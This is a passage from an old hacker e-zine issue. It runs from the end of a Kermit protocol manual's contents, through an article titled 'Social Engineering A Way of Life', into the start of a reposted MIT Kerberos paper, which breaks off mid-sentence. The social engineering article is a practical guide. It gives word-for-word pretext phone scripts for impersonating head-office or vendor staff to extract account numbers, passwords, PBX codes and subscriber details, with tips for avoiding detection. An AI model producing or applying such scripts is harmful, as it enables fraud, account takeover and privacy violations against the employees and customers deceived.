  5766.           File Names   15
  5767.           Flow Control   8, 16                      Unchar(x)   6
  5768.           Full Duplex   8                           User   5
  5769.  
  5770.           GET Command   31                          XON/XOFF   8, 16, 91
  5771.  
  5772.           Half Duplex   8
  5773.           Host   5
  5774.           Initial Connection   23
  5775.  
  5776.           KERMIT   3
  5777.  
  5778.           Language, Programming   58
  5779.           Line Terminator   21
  5780.           Line Terminator (see End-Of-Line)
  5781.           Local   5
  5782.           Logical Record   10
  5783.           Logical Records   10
  5784.           Long Reply   31
  5785. Table of Contents                                                        Page i
  5786.  
  5787.  
  5788.                                Table of Contents
  5789.  
  5790. 1. Introduction                                                               3
  5791.  
  5792. 1.1. Background                                                               3
  5793. 1.2. Overview                                                                 3
  5794.  
  5795. 2. Definitions                                                                5
  5796.  
  5797. 2.1. General Terminology                                                      5
  5798. 2.2. Numbers                                                                  5
  5799. 2.3. Character Set                                                            6
  5800. 2.4. Conversion Functions                                                     6
  5801. 2.5. Protocol Jargon                                                          7
  5802.  
  5803. 3. System Requirements                                                        8
  5804.  
  5805. 4. Printable Text versus Binary Data                                         10
  5806.  
  5807. 4.1. Printable Text Files                                                    10
  5808. 4.2. Binary Files                                                            10
  5809.  
  5810. 5. File Transfer                                                             12
  5811.  
  5812. 5.1. Conditioning the Terminal                                               13
  5813. 5.2. Timeouts, NAKs, and Retries                                             13
  5814. 5.3. Errors                                                                  14
  5815. 5.4. Heuristics                                                              14
  5816. 5.5. File Names                                                              15
  5817. 5.6. Robustness                                                              16
  5818. 5.7. Flow Control                                                            16
  5819. 5.8. Basic KERMIT Protocol State Table                                       17
  5820.  
  5821. 6. Packet Format                                                             20
  5822.  
  5823. 6.1. Fields                                                                  20
  5824. 6.2. Terminator                                                              21
  5825. 6.3. Other Interpacket Data                                                  21
  5826. 6.4. Encoding, Prefixing, Block Check                                        22
  5827.  
  5828. 7. Initial Connection                                                        23
  5829.  
  5830. 8. Optional Features                                                         27
  5831.  
  5832. 8.1. 8th-Bit and Repeat Count Prefixing                                      27
  5833. 8.2. Server Operation                                                        28
  5834.      8.2.1. Server Commands                                                  29
  5835.      8.2.2. Timing                                                           30
  5836.      8.2.3. The R Command                                                    31
  5837.      8.2.4. The K Command                                                    31
  5838.      8.2.5. Short and Long Replies                                           31
  5839.      8.2.6. Additional Server Commands                                       32
  5840.      8.2.7. Host Commands                                                    34
  5841.      8.2.8. Exchanging Parameters Before Server Commands                     34
  5842. Table of Contents                                                       Page ii
  5843.  
  5844.  
  5845. 8.3. Alternate Block Check Types                                             34
  5846. 8.4. Interrupting a File Transfer                                            36
  5847. 8.5. Transmitting File Attributes                                            37
  5848. 8.6. Advanced KERMIT Protocol State Table                                    43
  5849.  
  5850. 9. KERMIT Commands                                                           48
  5851.  
  5852. 9.1. Basic Commands                                                          48
  5853. 9.2. Program Management Commands                                             48
  5854. 9.3. Terminal Emulation Commands                                             49
  5855. 9.4. Special User-Mode Commands                                              49
  5856. 9.5. Commands Whose Object Should Be Specified                               49
  5857. 9.6. The SET Command                                                         51
  5858. 9.7. Macros, the DEFINE Command                                              53
  5859.  
  5860. 10. Terminal Emulation                                                       54
  5861.  
  5862. 11. Writing a KERMIT Program                                                 56
  5863.  
  5864. 11.1. Program Organization                                                   56
  5865. 11.2. Programming Language                                                   58
  5866. 11.3. Documentation                                                          58
  5867. 11.4. Bootstrapping                                                          59
  5868.  
  5869. I. Packet Format and Types                                                   60
  5870.  
  5871. II. List of Features                                                         61
  5872.  
  5873. III. Unresolved Issues                                                       63
  5874.  
  5875. IV. A KERMIT Program                                                         65
  5876.  
  5877. V. The ASCII Character Set                                                   91
  5878.  
  5879. Index                                                                        95
  5880. =============================================================================
  5881.  
  5882.                    /                                       /
  5883.                    /          File 04 / NIA070             /
  5884.                    /   Social Engineering A Way of Life    /
  5885.                    /     Written by - Malefactor [OC]      /
  5886.                    /                                       /
  5887.  
  5888.  
  5889.   Disclaimer
  5890.  ------------
  5891.  
  5892.         I take no responsibility for any of the information contained hearin
  5893. neither expressed nor implied.  I also assume no responsibility for the actions
  5894. or interpretations of the end user neither expressed or implied.  This file is
  5895. for informational purposes only and is an exercise of my right to freedom of
  5896. the press.  Although a few people out there get turned on by a good book
  5897. burning.
  5898.  
  5899.   Introduction
  5900.  --------------
  5901.  
  5902.         What exactly is social engineering?  Social engineering is basically
  5903. the delicate art of deception and manipulation for your own personnel gain.
  5904. Social engineering can be used in every aspect of life to avoid a "F" when you
  5905. withdraw from some insidious class, to convice a friend to loan you money, or
  5906. where we are concerned to convice a company that you are who you say you are,
  5907. and to give you what you want or need.  Through social engineering I have
  5908. gained accounts, dialups, and information on various things.  This file is
  5909. meant to introduce you and familiarize you to social engineering, and where you
  5910. take it from there is your own concern.
  5911.  
  5912.  
  5913.   Guidlines for Social Engineering
  5914.  ----------------------------------
  5915.  
  5916. 1] When you know little or nothing about a company you are trying to get
  5917.    accounts for never try to find out that information by asking local offices.
  5918.    This not only ruins future sites that you could of gained accounts from, but
  5919.    also may alert them as to your intentions.  By calling out of state offices
  5920.    the worst thing that can happen is you can raise suspicions in the Akron,
  5921.    Ohio office and not your local Palm Springs,Ca. office.
  5922.  
  5923. 2] Never hang up or panic.  A few handy phrases are listed below
  5924.  
  5925.       A]  "Ohh I'm sorry I just started last week and am new here"
  5926.       B]  Or if they ask for a number where they can reach you say, "I'm sorry
  5927.           but I am calling from an OutWATS line and cannot recieve incoming
  5928.           calls" (although sometimes this does raise suspicions)
  5929.       C]  If you have a loop say, "Sure you can reach me at NPA-PRE-SUFF"
  5930.       D]  "Excuse me one moment let me get my supervisor"
  5931.       E]  begin to answer there question and mid-sentance say, "Please hold
  5932.           I have another call"
  5933.  
  5934. 3] Whenever possible do it in a team with a friend then in the event of a
  5935.    "fuck-up" your friend can proceed to be either your supervisor, enraged boss
  5936.    for your indiscretion, or the person who says, "Hello who are you holding
  5937.    for?, I will have him/her call you back I need this line"
  5938.  
  5939. 4] Never give them your home address or phone number, give them a busy number,
  5940.    and a fake address.  Unless you are getting manuals in that case you will
  5941.    need a loop line and a drop site, PO Box, etc....
  5942.  
  5943. 5] Always take control of the conversation the more confident you sound the
  5944.    more apt they are to believe you.  Always keep talking don't give them the
  5945.    opportunity to get a word in edgewise and question you.  If you stutter for
  5946.    a moment some people will question you.  Be firm, but not rude or
  5947.    discourteous unless of course the situation calls for it.
  5948.  
  5949.   Gaining information about an unknown service or company
  5950.  ---------------------------------------------------------
  5951.  
  5952.         First off you will need to get a little information before you can
  5953. start doing anything.  There are many avenues you can take, and I will list but
  5954. a few of the better ones.
  5955.  
  5956. Method 1
  5957. --------
  5958.  
  5959. T=Target Company
  5960. Y=You
  5961.  
  5962. Call the company or information and get the number to the company.
  5963.  
  5964.  
  5965. T=Hello Joe Blow's Aerospace.
  5966.  
  5967. Y=Hello this is richard weiss and I was recently considering investing in your
  5968. corporation, but would like to find out a little more about it.  Can you tell
  5969. me where to call?
  5970.  
  5971. T=Ok, Mr. Weiss call 1-800-XXX-XXXX that is our stockholder information line.
  5972.  
  5973. Y=Thank you, and have a nice day
  5974.  
  5975.  
  5976. Now you may direct any questions about products, where their main office is
  5977. located, whether or not thier computerized,  whether or not they utilize the
  5978. networks i.e. tymnet, telenet, etc..., quarterly reports (for what their
  5979. worth), etc...
  5980.  
  5981. Note:Another variation on this theme is to actually call and say you are a
  5982. stockholder and would like information usually they will send you out pamplets
  5983. and brochures on products and services they offer, but this could take weeks
  5984. and is 9 times out of 10 totally useless.
  5985.                                     ----
  5986. Now you should know whether or not they have a system, where their main office
  5987. is, and whether or not its accessible through telenet or tymnet (in some cases
  5988. they are reluctant to give out this information.)  Now you are almost ready to
  5989. begin.
  5990.                                     ----
  5991.  
  5992. Call up a out of state office of your targeted corporation
  5993.  
  5994. T=Hello Joe Blow's Aerospace?
  5995.  
  5996. Y=Yes this is Edwin Meese from the Joe Blows Aerospace main office in super
  5997. city I need to speak with your computer division (or if it is a small
  5998. organization say I need to speak with your computer account operator)
  5999.  
  6000. T=One moment please (or the number is XXX-XXXX)
  6001.  
  6002. T=Hello this is john oberheim I operate the computer how many I help you?
  6003.  
  6004. Y=Well sir as you may or may not know we are recently updating your account and
  6005. I need to know which of our dialups you use to access the central system?
  6006.  
  6007. T=Well we call TEL-ENET.
  6008.  
  6009. (at this point you should be prepared if he gives you the local telenet or
  6010. tymnet dialup to recognize it)
  6011.  
  6012. Y=Ok yes sir, and after you connect to telenet which of our NUA's do you
  6013. connect to?
  6014.  
  6015. (At this point be prepared to explain what an NUA is and what a PSN is)
  6016.  
  6017. T=We connect to 212440
  6018.  
  6019. Y=Ok thank you sir for your cooperation and have a nice day.
  6020.  
  6021. T=No problem bye.
  6022.  
  6023. <click.>
  6024.  
  6025.                                     ----
  6026. Now you are ready to begin getting accounts you should have a dialup via
  6027. telenet or tymnet and an address, or an out-of-state dialup in which case
  6028. you can call another office in that city and get an account and password.
  6029. Hopefully by this point the first fool you called would of blurted out the
  6030. name of the system if he did not it might be a good idea to call another
  6031. office and find out what the system name is say something along the same lines
  6032. except add in their local port or telenet address and NUA and when you get to
  6033. the computer/system part say, "after you call xxx-xxxx and type 212440 you
  6034. connect with uhhh I forgot the name of our system it's on the tip of my tongue
  6035. I'm drawing a blank here etc..."  at which point they blurt it out and you say
  6036. "thats it ohh i cant believe I forgot I need to get more sleep" after
  6037. this you can proceed to get this persons account and password using the below
  6038. method
  6039.                                     ----
  6040.  
  6041. Method 2
  6042. --------
  6043.  
  6044.         This is method is best when you know everthing, and can skip the first
  6045. part.
  6046.  
  6047. T=Hello Joe Blow's Aerospace may I help you?
  6048.  
  6049. Y=Hello this is Ed McMan from Joe Blow's Aerospace main office in super city I
  6050. need to speak with your X account operator.
  6051.  
  6052. T=One moment please
  6053.  
  6054. T=This is ed how may I help you?
  6055.  
  6056. Y=Yes this is Ed McMan from Joe Blow's Aerospace main office in super city, and
  6057. we are currently updating your account on X (system name)
  6058.  
  6059. T=Uh huh?
  6060.  
  6061. Y=Our records show you are using our xxx-xxxx dialup and using X (system name)
  6062. at NUA 212440.
  6063.  
  6064. T=Yes.
  6065.  
  6066. Y=We need your account so we can update our records.
  6067.  
  6068. T=Sure no problem its 12ASFD21.
  6069.  
  6070. (This is where it gets tricky most people 9 out of 10 say yes unless you are
  6071. calling new york where they are dicks don't even bother)
  6072.  
  6073. Y=Ok and I also need your password.
  6074.  
  6075. T=Ok it's "secret"
  6076.  
  6077. (usually if it's user selected its pretty pathetic but most corporate systems
  6078. dont allow user selected passwords anymore if he says no then you have to say,
  6079. "I understand sir I will have my supervisor Bob Hope call you back whenever he
  6080. is free" or you can say, "I understand can you call me back at 212-222-LOOP?"
  6081. an added note here is if your calling from the main office supposedly in
  6082. chicago DONT GIVE THEM A 212 LOOP)
  6083.  
  6084.                                     ----
  6085. Vica-Versa:  A good ploy when employees are reluctant to give out passwords is
  6086. to call the main office get connected w/the computer department and say you are
  6087. having problems by now you should at least be able to give them a dialup an nua
  6088. and an account, but no password.  This they will provide for you say something
  6089. to the effect that your new and everyone is out of the office etc...  and that
  6090. you lost the password to the account.  Be real computer naive it works about
  6091. 50% of the time depending on how convincing you sound.
  6092.                                     ----
  6093. Well that's the basics down now that you are aware of the basic principles
  6094. behind social engineering I will cite a more prevalent example.
  6095.                                     ----
  6096.  
  6097. Social Engineering Dialog Accounts
  6098. ----------------------------------
  6099.  
  6100.         What is dialog?  Well according to thomas jefferson Dialog is Power.
  6101. Not really; just good for research and reports.  If you want dialogs try
  6102. Libraries, Engineers, and Large Research Companies.
  6103.  
  6104.         Here is what you say word for word.
  6105.  
  6106. L=Library, Engineering Firm, Large Research Company.
  6107.  
  6108. Y=You
  6109.  
  6110.  
  6111. L=Hello this is X company how may I help you?
  6112.  
  6113. Y=Yes this is Pia Zadora from dialog I need to speak with your dialog account
  6114. operator?
  6115.  
  6116. L=One moment please transferring your call..
  6117.  
  6118. L=Hello this is Charles Manson how may I help you?
  6119.  
  6120. Y=Yes this is Pia Zadore from dialog recently as you may or may not know there
  6121. was an earthquake in San Fransisco where all of our billing information is
  6122. stored and your account information is outdated as we had to use tape backups
  6123. from six months ago.
  6124.  
  6125. (This is where it gets tricky a company called "AIMES" does a lot of dialogs
  6126. billing in that case say you still need the information for your records)
  6127.  
  6128. L=Ohh yes I heard it was awful.  How can I help you?
  6129.  
  6130. Y=Well I need to find out when you were last billed by us and on what account?
  6131.  
  6132. (On Dialog bills the account number is used as a cover sheet on the bill)
  6133.  
  6134. L=One moment please (or they might say their accountant isn't in or that it
  6135. will take some time to dig up)
  6136.  
  6137. (Option one if she's got it.  Option two if she says it will take some time)
  6138.  
  6139. Option 1
  6140. --------
  6141.  
  6142. T=Hello?
  6143.  
  6144. Y=Yes.
  6145.  
  6146. T=We were last billed August 13, on account 203247 and we were also billed
  6147. August 13 on our other account 103452.
  6148.  
  6149. Y=Thank you and what are the passwords on those two accounts?
  6150.  
  6151. T=They are both "ursula"
  6152.  
  6153. Y=Ok thank you very much have a nice day.
  6154.  
  6155. Option 2
  6156. --------
  6157.  
  6158. L=Ok well I need this information now I have a lot of other calls to make whats
  6159. your account and password and I will try to pull it up through the network?
  6160.  
  6161. T=The account is 292910 and the password is "bubba"
  6162.  
  6163. L=Ok hold on for one moment.
  6164.  
  6165. L=I was unable to pull up the information.  When do you think you will have
  6166. the records and when would be a good time to call back I really need the last
  6167. billing period?
  6168.  
  6169. T=4 o'clock.
  6170.  
  6171. (Ok so you call back and get the worthless information but they trust you more
  6172. not every place you call will be easy if they are the least bit reluctant or
  6173. untrusting lead them for ahwile talk and chat about the earthquake the weather
  6174. or whatever turns em on.  The reason you call back later is so that they don't
  6175. call dialog with the last billing period trying to be helpful and killing your
  6176. accounts)
  6177.  
  6178. Social Engineering and the buisness office
  6179. ------------------------------------------
  6180.  
  6181.         Ok to find out information on a line listed or unlisted you can call
  6182. the buisness office.  Occassionally they won't give out information or they
  6183. will want your local CNA or to actually call you back.  Most of the time
  6184. however they don't.  The only ones that seem to be a bit fickle are 612 and 713
  6185. that I have encountered.  It's just a matter of who you get.  This works better
  6186. than CNA and usually isn't as hard to get through to.
  6187.  
  6188. B=Buisness Office
  6189.  
  6190. Y=You
  6191.  
  6192.                                     ----
  6193.  
  6194. B=Hello this is the buisness office how may I help you?
  6195.  
  6196. Y=Hello this is richard weiss of michigan bell I need a CNA Listing (or just a
  6197. listing) on NPA-PRE-SUFF.
  6198.  
  6199. B=Ok that number is billed to joe blow.
  6200.  
  6201. Y=Ok and do you have an address on that?
  6202.  
  6203. B=Yes its 1234 laurel lane.
  6204.  
  6205. Y=And are there any other numbers billed to that account?
  6206.  
  6207. B=Yes there is 123-456-6789 and 123-456-1234
  6208.  
  6209. Y=Thank you have a nice day.
  6210.  
  6211. <click.>
  6212.                                     ----
  6213.  
  6214. Socially Engineering Mcdonalds Accounts
  6215. ---------------------------------------
  6216.  
  6217.         This is the best one for you to practice your art on their are a
  6218. multitude of Mcdonalds all across the nation and if they arn't a franchise they
  6219. have a TI and ISP account on their mainframe accesible through telenet.  A
  6220. little background information their computer is at NUA 313160, and you enter
  6221. your password then account.  The passwords are in the format 1,XRRRRRR, and the
  6222. accounts are usually MSNNNNNN. (The R's represent Randomn mixture of Letters
  6223. and Numbers and the N's represent Numbers)
  6224.  
  6225. M=Mcdonalds
  6226.  
  6227. Y=You
  6228.  
  6229.  
  6230. M=Hello this is Mcdonalds I am McChuck can I McHelp McYou?
  6231.  
  6232. Y=Yes this is McGandi from the main McOffice in McChicago I need to speak with
  6233. the McManager.
  6234.  
  6235. M=This is the McManager McZsa Zsa Gabor how can I McHelp McYou?
  6236.  
  6237. Y=We are currently updating your account are you the one who actually calls in
  6238. and does the tandem reports?
  6239.  
  6240. M=McYes that's me.
  6241.  
  6242. Y=Allright so you call McTEL-NET (give em the number to telenet) and McConnect
  6243. to McNUA 313160?
  6244.  
  6245. M=McYes that's McRight.
  6246.  
  6247. Y=Ok well I need your ISP Account and Password.
  6248.  
  6249. M=Ok my account is 1,X23T2NN and my McAccount is MS629191.
  6250.  
  6251. Y=Ok thank you and have a nice day.
  6252.  
  6253. (A variation on this theme is to ask for the TI account and password another
  6254. account type I have found they have with less priveleges than the ISP accounts.
  6255. Unfortunatly the Mc's are all necessary it is a specialized McCode they use,
  6256. and if you don't use it they McSpit in your McFace, and if you Mcbelieve that
  6257. don't McTry McShit cause noone will McBelieve McYou.  Seriously though the TI's
  6258. are easier to get and more people than just the manager use them sometimes the
  6259. managers make careers moves out of McDonalds (really brilliant individuals
  6260. lemme tell ya) so they are fickle, so if the manager isn't in ask if they call
  6261. in to the computer in the main office and then proceed to get their account.)
  6262.  
  6263.                                     ----
  6264.  
  6265. Variations on the themes
  6266. ------------------------
  6267.  
  6268. 1] If you want manuals call up a location pretending to be someone else and say
  6269.    we are currently updating our manuals, and if you send us your manual you
  6270.    will recieve one for free blah blah blah.
  6271.  
  6272. 2] If you need to find out commands or information on a system call up and say
  6273.    something to the effect I am calling from the main office and we are
  6274.    re-doing our system and taking a survey on it to see what changes to make
  6275.    which commands do you use the most often, and what commands do you feel are
  6276.    difficult to use and why?
  6277. 3] Call up one office pretending to be from another and say your account is
  6278.    being updated or your computer system is down and you need theirs.
  6279.  
  6280. This works excellently!
  6281. -----------------------
  6282.  
  6283. 4] Call up large company buildings get transferred from about three departments
  6284.    until you are where you want to be and say, "Hello this is Tammy Fae Baker
  6285.    up in marketing on the third floor I need the code to the PBX, computer, or
  6286.    whatever you want.
  6287.  
  6288. 5] Call up big department stores around christmas and get transferred a few
  6289.    times and when you get to a sales department say, "This is Joe in childrens
  6290.    clothes I need the tele-check number (or whatever credit check service they
  6291.    use)"  If they give you any lip say look some kid tore off the sticker and
  6292.    I am going nuts down here.
  6293.  
  6294. 6] Be creative and if you think you have something special figured out leave me
  6295.    mail I'd like to hear about it.
  6296.  
  6297. Note: Unauthorized distribution or alteration of this file may result in severe
  6298. credit damage.
  6299. =============================================================================
  6300.  
  6301.                      /                                 /
  6302.                      /        File 05 / NIA070         /
  6303.                      /      Kerberos Unix Manual       /
  6304.                      /          Submitted by           /
  6305.                      /    Doctor Dissector [PHA/P4]    /
  6306.                      /     (doctord@darkside.com)      /
  6307.                      /                                 /
  6308.  
  6309.  
  6310. $_Disclaimer
  6311.  
  6312. The author and the sponsor groups Phreakers/Hackers/Anarchists, The
  6313.     Phantastic Phor and NIA will not be held responsible for any actions done
  6314.     by anyone reading this material before, during, and after exposure to this
  6315.     document. This document has been released under the notion that the
  6316.     material presented herin is for informational purposes only, and that
  6317.     neither the author nor the groups P/H/A and P4 encourage the use of this
  6318.     information for any type of illegal purpose. Thank you.
  6319.  
  6320. $_Greets & Messages
  6321.  
  6322. To All Network Hackers: "Party On Dewdz!"
  6323.  
  6324. Yo! To Kryptic Night, PhantasMumble, Pain Hertz, Doc Holiday, Black Death,
  6325.     Killer Korean, M.I.T., Anonymous Anarchist, Brownstone, Judge Dredd,
  6326.     Yellow Jacket, So76, Synaptic Assult, FuZaGi, HyperCube, OverDose,
  6327.     and ANYONE else I could have possibly forgotten....
  6328.  
  6329. $_Quote
  6330.  
  6331. In response to all the needless bickering that has plagued the hacker
  6332.     community from the beginning; the eternal problem of the "elite"
  6333.     barrier between the most knowledgable and the learning.
  6334.  
  6335.         "Knowledge Is Power," BUT, "Absolute Power Corrupts Absolutely."
  6336.  
  6337. $_Kerberos: USENIX.TXT
  6338.  
  6339. Below is the file USENIX.TXT which was part of a larger archive,
  6340.     (kerberos.tar.Z) which was originally ftp'd from samba.acs.unc.edu.
  6341.     The current release patch is at 9, and more versions appear to be
  6342.     on the way. My suggestion to you, if you truely are interested in
  6343.     Kerberos, is to ftp the entire kerberos.tar.Z archive to your
  6344.     unix to pick it apart (uncompressed, the kerberos.tar file is over
  6345.     four megabytes long, so be forewarned). Enjoy.
  6346.  
  6347.  
  6348.  -----------------------------------------------------------
  6349.  
  6350.  
  6351.         Kerberos: An Authentication Service for Open
  6352.                       Network Systems
  6353.  
  6354.  
  6355.  
  6356.                     Jennifer G. Steiner
  6357.  
  6358.                        Project Athena
  6359.            Massachusetts Institute of Technology
  6360.                     Cambridge, MA  02139
  6361.                    steiner@ATHENA.MIT.EDU
  6362.  
  6363.  
  6364.                       Clifford Neuman
  6365.  
  6366.            Department of Computer Science, FR-35
  6367.                   University of Washington
  6368.                      Seattle, WA  98195
  6369.                    bcn@CS.WASHINGTON.EDU
  6370.  
  6371.  
  6372.                     Jeffrey I. Schiller
  6373.  
  6374.                        Project Athena
  6375.            Massachusetts Institute of Technology
  6376.                     Cambridge, MA  02139
  6377.                      jis@ATHENA.MIT.EDU
  6378.  
  6379.  
  6380.                           ABSTRACT
  6381.  
  6382.           In an open network computing  environment,  a
  6383.      workstation  cannot  be  trusted  to  identify its
  6384.      users correctly  to  network  services.   Kerberos
  6385.      provides an alternative approach whereby a trusted
  6386.      third-party authentication service is used to ver-
  6387.      ify  users' identities.  This paper gives an over-
  6388.      view  of  the  Kerberos  authentication  model  as
  6389.      implemented   for   MIT's   Project   Athena.   It
  6390.      describes the protocols used by clients,  servers,
  6391.      and  Kerberos  to achieve authentication.  It also
  6392.      describes the management and  replication  of  the
  6393.      database  required.  The views of Kerberos as seen
  6394.      by the user,  programmer,  and  administrator  are
  6395.      described.   Finally,  the role of Kerberos in the
  6396.      larger Athena picture is given, along with a  list
  6397. __________________________
  6398.  Clifford Neuman was a member of  the  Project  Athena
  6399. staff  during  the  design  and  initial implementation
  6400. phase of Kerberos.
  6401.  
  6402.  
  6403.  
  6404.                        March 30, 1988
  6405.  
  6406.  
  6407.  
  6408.  
  6409.  
  6410.  
  6411.                            - 2 -
  6412.  
  6413.  
  6414.      of  applications  that  presently use Kerberos for
  6415.      user authentication.  We describe the addition  of
  6416.      Kerberos  authentication  to  the Sun Network File
  6417.      System as a case study  for  integrating  Kerberos
  6418.      with an existing application.
  6419.  
  6420.  
  6421.  
  6422.  
  6423. Introduction
  6424.  
  6425.      This paper gives an overview of Kerberos, an  authenti-
  6426. cation system designed by Miller and Neuman[1] for open net-
  6427. work computing environments, and  describes  our  experience
  6428. using it at MIT's Project Athena.[2] In the first section of
  6429. the paper, we explain why  a  new  authentication  model  is
  6430. needed  for  open  networks,  and what its requirements are.
  6431. The second section lists  the  components  of  the  Kerberos
  6432. software  and  describes  how they interact in providing the
  6433. authentication service.  In Section 3, we describe the  Ker-
  6434. beros naming scheme.
  6435.  
  6436.      Section 4 presents  the  building  blocks  of  Kerberos
  6437. authentication  -  the  ticket  and the authenticator.  This
  6438. leads to a discussion of the two  authentication  protocols:
  6439. the  initial authentication of a user to Kerberos (analogous
  6440. to logging in), and the protocol for  mutual  authentication
  6441. of  a  potential consumer and a potential producer of a net-
  6442. work service.
  6443.  
  6444.      Kerberos requires a database of information  about  its
  6445. clients;  Section  5 describes the database, its management,
  6446. and the protocol for its modification.  Section 6  describes
  6447. the  Kerberos  interface to its users, applications program-
  6448. mers, and administrators.  In Section 7, we describe how the
  6449. Project  Athena  Kerberos  fits  into the rest of the Athena
  6450. environment.  We also describe the interaction of  different
  6451. Kerberos authentication domains, or realms; in our case, the
  6452. relation between the Project Athena Kerberos  and  the  Ker-
  6453. beros running at MIT's Laboratory for Computer Science.
  6454.  
  6455.      In Section 8, we mention open issues  and  problems  as
  6456. yet  unsolved.  The last section gives the current status of
  6457. Kerberos at Project Athena.  In the appendix, we describe in
  6458. detail  how Kerberos is applied to a network file service to
  6459. authenticate users who wish to gain access  to  remote  file
  6460. systems.
  6461.  
  6462.      Conventions.  Throughout this paper we use  terms  that
  6463. may  be  ambiguous,  new  to the reader, or used differently
  6464. elsewhere.  Below we state our use of those terms.
  6465.      User, Client, Server.  By user, we mean a  human  being
  6466. who   uses  a  program  or  service.   A  client  also  uses
  6467.  
  6468.  
  6469.                        March 30, 1988
  6470.  
  6471.  
  6472.  
  6473.  
  6474.  
  6475.  
  6476.                            - 3 -
  6477.  
  6478.  
  6479. something, but is not necessarily a person; it can be a pro-
  6480. gram.   Often network applications consist of two parts; one
  6481. program which runs on one machine and requests a remote ser-
  6482. vice,  and  another program which runs on the remote machine
  6483. and performs that service.  We call those  the  client  side
  6484. and  server side of the application, respectively.  Often, a
  6485. client will contact a server on behalf of a user.
  6486.  
  6487.      Each entity that uses the Kerberos system, be it a user
  6488. or a network server, is in one sense a client, since it uses
  6489. the Kerberos service.  So to  distinguish  Kerberos  clients
  6490. from clients of other services, we use the term principal to
  6491. indicate such an entity.  Note that a Kerberos principal can
  6492. be  either  a  user or a server.  (We describe the naming of
  6493. Kerberos principals in a later section.)
  6494.  
  6495.      Service vs. Server.  We  use  service  as  an  abstract
  6496. specification  of  some  actions to be performed.  A process
  6497. which performs those actions is called a server.  At a given
  6498. time,  there may be several servers (usually running on dif-
  6499. ferent machines) performing a given service.   For  example,
  6500. at  Athena  there  is  one BSD UNIX rlogin server running on
  6501. each of our timesharing machines.
  6502.  
  6503.      Key, Private Key, Password.  Kerberos uses private  key
  6504. encryption.   Each  Kerberos  principal  is assigned a large
  6505. number, its private key, known only to  that  principal  and
  6506. Kerberos.   In  the  case  of a user, the private key is the
  6507. result of a one-way function applied to the user's password.
  6508. We use key as shorthand for private key.
  6509.  
  6510.      Credentials.  Unfortunately, this word  has  a  special
  6511. meaning  for  both  the Sun Network File System and the Ker-
  6512. beros system.  We  explicitly  state  whether  we  mean  NFS
  6513. credentials  or  Kerberos credentials, otherwise the term is
  6514. used in the normal English language sense.
  6515.  
  6516.      Master and Slave.   It  is  possible  to  run  Kerberos
  6517. authentication  software on more than one machine.  However,
  6518. there is always only one definitive  copy  of  the  Kerberos
  6519. database.   The machine which houses this database is called
  6520. the master machine, or just the master.  Other machines  may
  6521. possess read-only copies of the Kerberos database, and these
  6522. are called slaves.
  6523.  
  6524. 1.  Motivation
  6525.  
  6526.      In  a  non-networked  personal  computing  environment,
  6527. resources  and  information  can  be protected by physically
  6528. securing the personal computer.  In a timesharing  computing
  6529. environment,  the  operating  system protects users from one
  6530. another and controls resources.  In order to determine  what
  6531. each user is able to read or modify, it is necessary for the
  6532. timesharing  system  to  identify  each   user.    This   is
  6533.  
  6534.  
  6535.                        March 30, 1988
  6536.  
  6537.  
  6538.  
  6539.  
  6540.  
  6541.  
  6542.                            - 4 -
  6543.  
  6544.  
  6545. accomplished when the user logs in.
  6546.  
  6547.      In a network of  users  requiring  services  from  many
  6548. separate  computers, there are three approaches one can take
  6549. to access control:  One  can  do  nothing,  relying  on  the
  6550. machine  to which the user is logged in to prevent unauthor-
  6551. ized access; one can require the host to prove its identity,
  6552. but  trust the host's word as to who the user is; or one can
  6553. require the user to prove her/his identity for each required
  6554. service.
  6555.  
  6556.      In a closed environment  where  all  the  machines  are
  6557. under  strict control, one can use the first approach.  When
  6558. the organization controls all the hosts  communicating  over
  6559. the network, this is a reasonable approach.
  6560.  
  6561.      In a more open environment, one might selectively trust
  6562. only  those  hosts  under  organizational  control.  In this
  6563. case, each host must be required to prove its identity.  The
  6564. rlogin  and rsh programs use this approach.  In those proto-
  6565. cols,  authentication  is  done  by  checking  the  Internet
  6566. address from which a connection has been established.
  6567.  
  6568.      In the Athena environment, we must  be  able  to  honor
  6569. requests  from  hosts that are not under organizational con-
  6570. trol.  Users have complete control  of  their  workstations:
  6571. they can reboot them, bring them up standalone, or even boot
  6572. off their own tapes.  As such, the third  approach  must  be
  6573. taken; the user must prove her/his identity for each desired
  6574. service.  The server must also prove its  identity.   It  is
  6575. not  sufficient to physically secure the host running a net-
  6576. work  server;  someone  elsewhere  on  the  network  may  be
  6577. masquerading as the given server.
  6578.  
  6579.      Our environment places several requirements on an iden-
  6580. tification  mechanism.   First,  it must be secure.  Circum-
  6581. venting  it  must  be  difficult  enough  that  a  potential
  6582. attacker  does  not  find the authentication mechanism to be
  6583. the weak link.  Someone watching the network should  not  be
  6584. able  to  obtain  the  information  necessary to impersonate
  6585. another user.  Second, it must be reliable.  Access to  many
  6586. services  will  depend on the authentication service.  If it
  6587. is not reliable, the system of services as a whole will  not
  6588. be.   Third,  it  should  be transparent.  Ideally, the user
  6589. should  not  be  aware  of  authentication   taking   place.
  6590. Finally,  it  should be scalable.  Many systems can communi-
  6591. cate with Athena hosts.  Not all of these will  support  our
  6592. mechanism, but software should not break if they did.
  6593.  
  6594.      Kerberos is the result of our work to satisfy the above
  6595. requirements.   When  a  user walks up to a workstation s/he
  6596. ``logs in''.  As far as the  user  can  tell,  this  initial
  6597. identification  is  sufficient  to prove her/his identity to
  6598. all the required network servers for  the  duration  of  the
  6599.  
  6600.  
  6601.                        March 30, 1988
  6602.  
  6603.  
  6604.  
  6605.  
  6606.  
  6607.  
  6608.                            - 5 -
  6609.  
  6610.  
  6611. login session.  The security of Kerberos relies on the secu-
  6612. rity of several authentication servers, but not on the  sys-
  6613. tem  from which users log in, nor on the security of the end
  6614. servers that will be used.  The authentication  server  pro-
  6615. vides  a  properly  authenticated  user  with a way to prove
  6616. her/his identity to servers scattered across the network.
  6617.  
  6618.      Authentication is a fundamental building  block  for  a
  6619. secure  networked  environment.   If,  for example, a server
  6620. knows for certain the identity of a client,  it  can  decide
  6621. whether  to  provide the service, whether the user should be
  6622. given special privileges, who should receive  the  bill  for
  6623. the  service,  and  so forth.  In other words, authorization
  6624. and accounting schemes can be built on top of the  authenti-
  6625. cation that Kerberos provides, resulting in equivalent secu-
  6626. rity to the lone personal computer or the  timesharing  sys-
  6627. tem.
  6628.  
  6629. 2.  What is Kerberos?
  6630.  
  6631.      Kerberos is a trusted third-party  authentication  ser-
  6632. vice   based   on   the   model  presented  by  Needham  and
  6633. Schroeder.[3] It is trusted in the sense that  each  of  its
  6634. clients  believes  Kerberos' judgement as to the identity of
